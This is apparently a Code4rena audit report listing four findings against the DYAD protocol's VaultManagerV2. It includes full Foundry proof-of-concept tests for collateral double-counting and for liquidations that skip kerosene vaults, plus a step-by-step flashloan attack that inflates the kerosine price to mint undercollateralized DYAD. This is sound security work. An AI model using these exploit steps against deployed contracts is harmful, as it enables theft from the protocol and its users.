DYAD - Emmanuel's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94

Vulnerability details

Impact

By adding a vault as both KerosineVault and Vault, users collateralRatio is 1:1, but protocol thinks it is 2:1.

Now, when price of collateral drops and collateralRatio is less than 100%(not even 150%), protocol still thinks position is healthy.

From the Deploy.V2.s.sol script, we can see that ethVault and wsteth vault are both added in vaultLicenser and kerosineManager. This allows users to both add and addKerosene either of the vaults,guaranteeing that this bug will surface.

Likelihood: High, Impact: High. Severity: High

Proof of Concept

Here is a test case that demonstrates this bug. Check "Full Proof of Concept test file" section of this report to copy and run the full test file:

    function test_add_as_vault_and_kerosineVault() public {
        uint id1 = mintDNft(alice);
        uint id2 = mintDNft(bob);
        uint amount = 100 ether;

        vm.startPrank(alice);
        vaultManagerV2.add(id1, address(daiVault));
        vaultManagerV2.addKerosene(id1, address(daiVault));

        dai.mint(alice, amount);
        dai.approve(address(vaultManagerV2), amount);
        vaultManagerV2.deposit(id1, address(daiVault), amount);
        //User mints equivalent amount of collateral he deposited.
        vaultManagerV2.mintDyad(id1, amount, alice);
        //he won't get liquidated even when price of his collateral drops
        daiOracle.setPrice(9e7);

        vm.stopPrank();

        //grant bob some dyad for liquidation
        deal(address(dyad), address(bob), amount);

        vm.expectRevert();
        vm.prank(bob);
        vaultManagerV2.liquidate(id1, id2);
    }

Here is what happened in the coded PoC:

• A vault(daiVault) was added in both kerosineManager and vaultLicenser, allowing users to both add and addKerosene that vault
• Alice deposited $100 worth of dai
• Alice minted $100 worth of dyad.
  • As we can see, collatRatio is 1:1, but protocol calculates total collateral for a user as nonKeroseneValue+keroseneValue=100+100=$200. This is why it didn't revert.
• Price of dai dropped further to $0.9, making his collateral value $90, and collateralRatio 90%.
• Bob tries to liquidate Alice, but the call fails because protocol thinks collateralRatio is 180%

Full Proof of Concept test file

Create a new test file under "test" folder and copy in the following. Run with forge test --match-test test_add_as_vault_and_kerosineVault -vv :

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Payments} from "../src/periphery/Payments.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

contract MockKerosineDenominator is Parameters {
    ERC20 public kerosine;

    constructor(ERC20 _kerosine) {
        kerosine = _kerosine;
    }

    function denominator() external view returns (uint) {
        return 1000000000000000000000000000 - 950841953470486444914439000;
    }
}

contract Whitehat is Test, Parameters {
    DNft dNft;
    Licenser vaultManagerLicenser;
    Licenser vaultLicenser;
    Dyad dyad;
    VaultManagerV2 vaultManagerV2;
    KerosineManager kerosineManager;
    UnboundedKerosineVault kerosineVault;
    Payments payments;

    // weth
    Vault wethVault;
    ERC20Mock weth;
    OracleMock wethOracle;

    // dai
    Vault daiVault;
    ERC20Mock dai;
    OracleMock daiOracle;

    ERC20Mock kerosine;

    address alice = address(1);
    address bob = address(2);

    function setUp() public {
        dNft = new DNft();
        weth = new ERC20Mock("WETH-TEST", "WETHT");
        wethOracle = new OracleMock(1000e8);

        Contracts memory contracts = new DeployBase().deploy(
            msg.sender,
            address(dNft),
            address(weth),
            address(wethOracle),
            GOERLI_FEE,
            GOERLI_FEE_RECIPIENT
        );

        vaultManagerLicenser = contracts.vaultManagerLicenser;
        vaultLicenser = contracts.vaultLicenser;
        dyad = contracts.dyad;
        payments = contracts.payments;
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        //create the wethVault
        wethVault = new Vault(
            vaultManagerV2,
            ERC20(address(weth)),
            IAggregatorV3(address(wethOracle))
        );
        // create the DAI vault
        dai = new ERC20Mock("DAI-TEST", "DAIT");
        daiOracle = new OracleMock(1e8);
        daiVault = new Vault(
            vaultManagerV2,
            ERC20(address(dai)),
            IAggregatorV3(address(daiOracle))
        );
        kerosine = new ERC20Mock("KEROSINE", "KER");

        kerosineManager = new KerosineManager();
        vaultManagerV2.setKeroseneManager(kerosineManager);

        kerosineVault = new UnboundedKerosineVault(
            vaultManagerV2,
            kerosine,
            dyad,
            kerosineManager
        );
        MockKerosineDenominator kerosineDenominator = new MockKerosineDenominator(
                kerosine
            );
        kerosineVault.setDenominator(
            KerosineDenominator(address(kerosineDenominator))
        );

        //add vaultManagerV2 to vaultLicenser
        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));

        // add the DAI vault
        vm.startPrank(vaultLicenser.owner());
        vaultLicenser.add(address(daiVault));
        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(kerosineVault));
        vm.stopPrank();

        //add the kerosine vault
        kerosineManager.add(address(daiVault));
        kerosineManager.add(address(wethVault));
    }

    function test_add_as_vault_and_kerosineVault() public {
        uint id1 = mintDNft(alice);
        uint id2 = mintDNft(bob);
        uint amount = 100 ether;

        vm.startPrank(alice);
        vaultManagerV2.add(id1, address(daiVault));
        vaultManagerV2.addKerosene(id1, address(daiVault));

        dai.mint(alice, amount);
        dai.approve(address(vaultManagerV2), amount);
        vaultManagerV2.deposit(id1, address(daiVault), amount);
        //User mints equivalent amount of collateral he deposited.
        vaultManagerV2.mintDyad(id1, amount, alice);
        //he won't get liquidated even when price of his collateral drops
        daiOracle.setPrice(9e7);

        vm.stopPrank();

        //grant bob some dyad for liquidation
        deal(address(dyad), address(bob), amount);

        vm.expectRevert();
        vm.prank(bob);
        vaultManagerV2.liquidate(id1, id2);
    }

    //helpers
    function mintDNft(address who) public returns (uint) {
        return dNft.mintNft{value: 1 ether}(who);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

TotalCollateralValue or totalUsdValue of a user should be calculated by iterating through and summing the values in vaults listed in the user's vaults[id] and vaultsKerosene[id] mapping. If the current vault in the iteration has been seen before, the value should not be readded and loop should be continued

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L221-L226

Vulnerability details

Impact

As Liquidations do not deduct from kerosine vaults, Malicious user can open position that would cause liquidator to lose if he liquidates it. This leads to one of two scenarios:

1. Liquidator goes ahead to liquidate the position, losing money to the user
2. Liquidator does not liquidate the position, leading to accrual of bad debt

Likelihood: Anyone can perform this attack-High Impact: Liquidator loses money to user or bad debt accrues in protocol-High Severity: High

Proof of Concept

Here is a test case that demonstrates this bug. Check "Full Proof of Concept test file" section of this report to copy and run the full test file:

function test_liquidation_never_touches_kerosine_vault() public {
    uint id1 = mintDNft(alice);
    uint id2 = mintDNft(bob);
    uint amount = 100 ether;

    vm.startPrank(alice);
    vaultManagerV2.add(id1, address(daiVault));
    vaultManagerV2.addKerosene(id1, address(wethVault));

    dai.mint(alice, amount);
    dai.approve(address(vaultManagerV2), amount);
    //for simplicity, assume wethPrice==daiPrice to escape having to calculate amount of weth to deposit based on the price of weth
    wethOracle.setPrice(1e8);

    weth.mint(alice, amount / 2);
    weth.approve(address(vaultManagerV2), amount / 2);

    vaultManagerV2.deposit(id1, address(daiVault), amount);
    vaultManagerV2.deposit(id1, address(wethVault), amount / 2);

    vaultManagerV2.mintDyad(id1, amount, alice);

    vm.stopPrank();
    daiOracle.setPrice(9e7);

    //grant bob some dyad for liquidation
    deal(address(dyad), address(bob), amount);

    uint aliceTotalUsdValueBeforeLiquidation = vaultManagerV2
        .getTotalUsdValue(id1);
    uint aliceMintedDyadBeforeLiquidation = dyad.mintedDyad(
        address(vaultManagerV2),
        id1
    );

    vm.prank(bob);
    vaultManagerV2.liquidate(id1, id2);
    uint aliceTotalUsdValueAfterLiquidation = vaultManagerV2
        .getTotalUsdValue(id1);
    uint aliceMintedDyadAfterLiquidation = dyad.mintedDyad(
        address(vaultManagerV2),
        id1
    );

    console.log(
        "Alice Collateral Value Before Liquidation: ",
        aliceTotalUsdValueBeforeLiquidation
    );
    console.log(
        "Alice Collateral Value After Liquidation: ",
        aliceTotalUsdValueAfterLiquidation
    );
    console.log(
        "Difference in collateral: ~$",
        (aliceTotalUsdValueBeforeLiquidation -
            aliceTotalUsdValueAfterLiquidation) / 1 ether
    );
    console.log(
        "------------------------------------MEANWHILE...------------------------------------"
    );
    console.log(
        "Alice Minted Dyad Before Liquidation: ",
        aliceMintedDyadBeforeLiquidation
    );
    console.log(
        "Alice Minted Dyad After Liquidation: ",
        aliceMintedDyadAfterLiquidation
    );
    console.log(
        "Difference in Dyad debt: ~$",
        (aliceMintedDyadBeforeLiquidation -
            aliceMintedDyadAfterLiquidation) / 1 ether
    );
    console.log(
        "--------------------------------------------------------------------------------------"
    );
    console.log(
        "In Summary, Bob the Liquidator paid more value($100) than he received($69), even though Alice had enough collateral in her kerosine vault to compensate Bob. In reality, liquidators won't want to do this, leading to accrual of bad debt"
    );
}

Here is what the coded PoC does:

• Alice added a normal vault(daiVault) and a kerosene vault(wethVault)
• Alice deposited $100 to daiVault, and $50 to wethVault
• Alice minted $100 of Dyad
• Dai price dropped to $0.9, collateralRatio=140%
• Bob liquidates Alice, pays $100 dyad, receives $69 of collateral

In reality, liquidators won't want to be at a loss, so they won't want to liquidate Alice, leading to accrual of bad debt.

Full Proof of Concept test file

Create a new test file under "test" folder and copy in the following. Run with forge test --match-test test_liquidation_never_touches_kerosine_vault -vv :

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Payments} from "../src/periphery/Payments.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

contract MockKerosineDenominator is Parameters {
    ERC20 public kerosine;

    constructor(ERC20 _kerosine) {
        kerosine = _kerosine;
    }

    function denominator() external view returns (uint) {
        return 1000000000000000000000000000 - 950841953470486444914439000;
    }
}

contract Whitehat is Test, Parameters {
    DNft dNft;
    Licenser vaultManagerLicenser;
    Licenser vaultLicenser;
    Dyad dyad;
    VaultManagerV2 vaultManagerV2;
    KerosineManager kerosineManager;
    UnboundedKerosineVault kerosineVault;
    Payments payments;

    // weth
    Vault wethVault;
    ERC20Mock weth;
    OracleMock wethOracle;

    // dai
    Vault daiVault;
    ERC20Mock dai;
    OracleMock daiOracle;

    ERC20Mock kerosine;

    address alice = address(1);
    address bob = address(2);

    function setUp() public {
        dNft = new DNft();
        weth = new ERC20Mock("WETH-TEST", "WETHT");
        wethOracle = new OracleMock(1000e8);

        Contracts memory contracts = new DeployBase().deploy(
            msg.sender,
            address(dNft),
            address(weth),
            address(wethOracle),
            GOERLI_FEE,
            GOERLI_FEE_RECIPIENT
        );

        vaultManagerLicenser = contracts.vaultManagerLicenser;
        vaultLicenser = contracts.vaultLicenser;
        dyad = contracts.dyad;
        payments = contracts.payments;
        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        //create the wethVault
        wethVault = new Vault(
            vaultManagerV2,
            ERC20(address(weth)),
            IAggregatorV3(address(wethOracle))
        );
        // create the DAI vault
        dai = new ERC20Mock("DAI-TEST", "DAIT");
        daiOracle = new OracleMock(1e8);
        daiVault = new Vault(
            vaultManagerV2,
            ERC20(address(dai)),
            IAggregatorV3(address(daiOracle))
        );
        kerosine = new ERC20Mock("KEROSINE", "KER");

        kerosineManager = new KerosineManager();
        vaultManagerV2.setKeroseneManager(kerosineManager);

        kerosineVault = new UnboundedKerosineVault(
            vaultManagerV2,
            kerosine,
            dyad,
            kerosineManager
        );
        MockKerosineDenominator kerosineDenominator = new MockKerosineDenominator(
                kerosine
            );
        kerosineVault.setDenominator(
            KerosineDenominator(address(kerosineDenominator))
        );

        //add vaultManagerV2 to vaultLicenser
        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));

        // add the DAI vault
        vm.startPrank(vaultLicenser.owner());
        vaultLicenser.add(address(daiVault));
        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(kerosineVault));
        vm.stopPrank();

        //add the kerosine vault
        kerosineManager.add(address(daiVault));
        kerosineManager.add(address(wethVault));
    }

    function test_liquidation_never_touches_kerosine_vault() public {
        uint id1 = mintDNft(alice);
        uint id2 = mintDNft(bob);
        uint amount = 100 ether;

        vm.startPrank(alice);
        vaultManagerV2.add(id1, address(daiVault));
        vaultManagerV2.addKerosene(id1, address(wethVault));

        dai.mint(alice, amount);
        dai.approve(address(vaultManagerV2), amount);
        //for simplicity, assume wethPrice==daiPrice to escape having to calculate amount of weth to deposit based on the price of weth
        wethOracle.setPrice(1e8);

        weth.mint(alice, amount / 2);
        weth.approve(address(vaultManagerV2), amount / 2);

        vaultManagerV2.deposit(id1, address(daiVault), amount);
        vaultManagerV2.deposit(id1, address(wethVault), amount / 2);

        vaultManagerV2.mintDyad(id1, amount, alice);

        vm.stopPrank();
        daiOracle.setPrice(9e7);

        //grant bob some dyad for liquidation
        deal(address(dyad), address(bob), amount);

        uint aliceTotalUsdValueBeforeLiquidation = vaultManagerV2
            .getTotalUsdValue(id1);
        uint aliceMintedDyadBeforeLiquidation = dyad.mintedDyad(
            address(vaultManagerV2),
            id1
        );

        vm.prank(bob);
        vaultManagerV2.liquidate(id1, id2);
        uint aliceTotalUsdValueAfterLiquidation = vaultManagerV2
            .getTotalUsdValue(id1);
        uint aliceMintedDyadAfterLiquidation = dyad.mintedDyad(
            address(vaultManagerV2),
            id1
        );

        console.log(
            "Alice Collateral Value Before Liquidation: ",
            aliceTotalUsdValueBeforeLiquidation
        );
        console.log(
            "Alice Collateral Value After Liquidation: ",
            aliceTotalUsdValueAfterLiquidation
        );
        console.log(
            "Difference in collateral: ~$",
            (aliceTotalUsdValueBeforeLiquidation -
                aliceTotalUsdValueAfterLiquidation) / 1 ether
        );
        console.log(
            "------------------------------------MEANWHILE...------------------------------------"
        );
        console.log(
            "Alice Minted Dyad Before Liquidation: ",
            aliceMintedDyadBeforeLiquidation
        );
        console.log(
            "Alice Minted Dyad After Liquidation: ",
            aliceMintedDyadAfterLiquidation
        );
        console.log(
            "Difference in Dyad debt: ~$",
            (aliceMintedDyadBeforeLiquidation -
                aliceMintedDyadAfterLiquidation) / 1 ether
        );
        console.log(
            "--------------------------------------------------------------------------------------"
        );
        console.log(
            "In Summary, Bob the Liquidator paid more value($100) than he received($69), even though Alice had enough collateral in her kerosine vault to compensate Bob. In reality, liquidators won't want to do this, leading to accrual of bad debt"
        );
    }
    //helpers
    function mintDNft(address who) public returns (uint) {
        return dNft.mintNft{value: 1 ether}(who);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Liquidation should also deduct collateral from kerosine vaults

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

Protocol prevents flashloan attacks by not allowing withdraw in the same block that deposit was made.

By following steps outlined in PoC, user can use liquidate function as a backdoor to withdraw.

This allows the user to inflate kerosine price, deposit some kerosine to unboundedKerosineVault, and mint against it.

Likelihood: Anyone can perform attack-High Impact: User inflates kerosine price and mints dyad against it-High Severity: High

Proof of Concept

1. Deposit some collateral with contractA(but don't yet mint any dyad)

2. Grant ContractB some kerosine

3. In a single transaction:

   • Use ContractB to obtain a flashloan
   • ContractB deposits both the flashloan and some kerosene as collateral

   At this point, price of a kerosine has been manipulated and is now very high

   • ContractB mints the maximum mintable DYAD that would cause its collateralRatio to be exactly 150%
   • Call ContractA to mint some Dyad.(This would lower the price of a kerosene)
   • Now, ContractB is liquidatable because his collateralRatio was exactly 150% but now, price of kerosene(which he used as collateral) has dropped
   • transfer mintedDyad from ContractB to ContractA and then Call ContractA to liquidate ContractB.
   • Liquidated collateral has now been sent to ContractA. Use it to payback the flashloan

Note: Not all the collateral would be liquidated because collatRatio of contractB was slightly less than 150%. We can use our funds to pay back the leftover of the flashloan, and then withdraw from vaultManagerV2 in the next block.

In between step 3B and 3C, where kerosine price is very high(say 2x its original value),

• Attacker can use ContractC to deposit kerosine and mint the max mintable DYAD

At the end of the transaction, kerosine price is less than its original value(x), so ContractC becomes liquidatable.But now, the issue is, the collatRatio is less than 100%. In this case, it is 75%. Here is the math:

• Initial keroPrice was x
• keroPrice was inflated to 2x
• 2x*2/3 =4x/3 DYAD was minted
• At the end of the attack transaction, keroPrice is back at x(less than x actually cos tvl-mintedDyad is lower than initial)
• collatRatio=x/(4x/3)=75%

So essentially, attacker has stolen dyad from the protocol by inflating kerosine price, and minting more than he should have been allowed to.

Tools Used

Manual Review

Recommended Mitigation Steps

Don't allow liquidating in the same transaction as it can be used as a backdoor for withdraw. The same check done in withdraw and deposit functions can be implemented in liquidate. idToBlockOfLastDeposit of the id being liquidated should be checked to not ==block.number

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L217-L226

Vulnerability details

Impact

Liquidators are not receiving what was intended by protocol

Proof of Concept

From the Notion Documentation, under Liquidation and Redemption, it was stated:

"If a Note’s collateral value in USD drops below 150% of its DYAD minted balance, it faces liquidation. The liquidator burns a quantity of DYAD equal to the target Note’s DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the target Note’s backing colateral, which the liquidator can direct to any other Note, usually their own. The target keeps the remainder of their collateral, if any. "

But this is not what was implemented in the code. The formula for liquidation implemented in the code is: (collatRatio+4)*collateral/(5*collatRatio) which produces the following curve:

For example, Assume collPrice==dyadPrice

• Alice deposits 150 coll tokens
• Alice mints 100 DYAD tokens, collRatio=150%
• Price of coll drops by 10%, collRatio=135%, Alice is liquidatable
• Bob liquidates Alice From the docs, Bob should receive:
• 120 collTokens

In the code, Bob receives:

• (1.35+4)*135/(5*1.35)= 107 collTokens

Tools Used

Manual Review

Recommended Mitigation Steps

Liquidation logic should be modified to give liquidators 120% ofDYAD they are repaying

Assessed type

Error